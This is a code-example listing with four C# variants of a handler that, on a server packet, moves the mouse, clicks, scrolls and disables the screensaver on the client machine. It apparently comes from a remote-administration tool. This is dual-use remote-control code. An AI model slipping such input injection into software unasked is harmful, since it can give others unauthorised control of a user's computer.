예제 #1
0
        public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command, Client client)
        {
            Screen[] allScreens = Screen.AllScreens;
            int      offsetX    = allScreens[command.MonitorIndex].Bounds.X;
            int      offsetY    = allScreens[command.MonitorIndex].Bounds.Y;
            Point    p          = new Point(command.X + offsetX, command.Y + offsetY);

            switch (command.Action)
            {
            case MouseAction.LeftDown:
            case MouseAction.LeftUp:
                NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
                break;

            case MouseAction.RightDown:
            case MouseAction.RightUp:
                NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
                break;

            case MouseAction.MoveCursor:
                NativeMethodsHelper.DoMouseMove(p);
                break;

            case MouseAction.ScrollDown:
                NativeMethodsHelper.DoMouseScroll(p, true);
                break;

            case MouseAction.ScrollUp:
                NativeMethodsHelper.DoMouseScroll(p, false);
                break;
            }
        }
예제 #2
0
        public static void HandleDoMouseEvent(DoMouseEvent command, Client client)
        {
            try
            {
                Screen[] allScreens = Screen.AllScreens;
                int      offsetX    = allScreens[command.MonitorIndex].Bounds.X;
                int      offsetY    = allScreens[command.MonitorIndex].Bounds.Y;
                Point    p          = new Point(command.X + offsetX, command.Y + offsetY);

                // Disable screensaver if active before input
                switch (command.Action)
                {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                case MouseAction.RightDown:
                case MouseAction.RightUp:
                case MouseAction.MoveCursor:
                    if (NativeMethodsHelper.IsScreensaverActive())
                    {
                        NativeMethodsHelper.DisableScreensaver();
                    }
                    break;
                }

                switch (command.Action)
                {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                    NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
                    break;

                case MouseAction.RightDown:
                case MouseAction.RightUp:
                    NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
                    break;

                case MouseAction.MoveCursor:
                    NativeMethodsHelper.DoMouseMove(p);
                    break;

                case MouseAction.ScrollDown:
                    NativeMethodsHelper.DoMouseScroll(p, true);
                    break;

                case MouseAction.ScrollUp:
                    NativeMethodsHelper.DoMouseScroll(p, false);
                    break;
                }
            }
            catch
            {
            }
        }
예제 #3
0
        private void Execute(ISender sender, DoMouseEvent message)
        {
            try
            {
                Screen[] allScreens = Screen.AllScreens;
                int      offsetX    = allScreens[message.MonitorIndex].Bounds.X;
                int      offsetY    = allScreens[message.MonitorIndex].Bounds.Y;
                Point    p          = new Point(message.X + offsetX, message.Y + offsetY);

                // Disable screensaver if active before input
                switch (message.Action)
                {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                case MouseAction.RightDown:
                case MouseAction.RightUp:
                case MouseAction.MoveCursor:
                    if (NativeMethodsHelper.IsScreensaverActive())
                    {
                        NativeMethodsHelper.DisableScreensaver();
                    }
                    break;
                }

                switch (message.Action)
                {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                    NativeMethodsHelper.DoMouseLeftClick(p, message.IsMouseDown);
                    break;

                case MouseAction.RightDown:
                case MouseAction.RightUp:
                    NativeMethodsHelper.DoMouseRightClick(p, message.IsMouseDown);
                    break;

                case MouseAction.MoveCursor:
                    NativeMethodsHelper.DoMouseMove(p);
                    break;

                case MouseAction.ScrollDown:
                    NativeMethodsHelper.DoMouseScroll(p, true);
                    break;

                case MouseAction.ScrollUp:
                    NativeMethodsHelper.DoMouseScroll(p, false);
                    break;
                }
            }
            catch
            {
            }
        }
예제 #4
0
        public static void HandleDoMouseEvent(Paketler.ServerPaketleri.DoMouseEvent command, Client client)
        {
            try
            {
                Screen[] allScreens = Screen.AllScreens;
                int      offsetX    = allScreens[command.MonitorIndex].Bounds.X;
                int      offsetY    = allScreens[command.MonitorIndex].Bounds.Y;
                Point    p          = new Point(command.X + offsetX, command.Y + offsetY);

                switch (command.Action)
                {
                case FareEylemleri.SolAşağı:
                case FareEylemleri.SolYukarı:
                    NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
                    break;

                case FareEylemleri.SağAşağı:
                case FareEylemleri.SağYukarı:
                    NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
                    break;

                case FareEylemleri.ImleçOynat:
                    NativeMethodsHelper.DoMouseMove(p);
                    break;

                case FareEylemleri.AşağıTekerlek:
                    NativeMethodsHelper.DoMouseScroll(p, true);
                    break;

                case FareEylemleri.YukarıTekerlek:
                    NativeMethodsHelper.DoMouseScroll(p, false);
                    break;
                }
            }
            catch
            {
            }
        }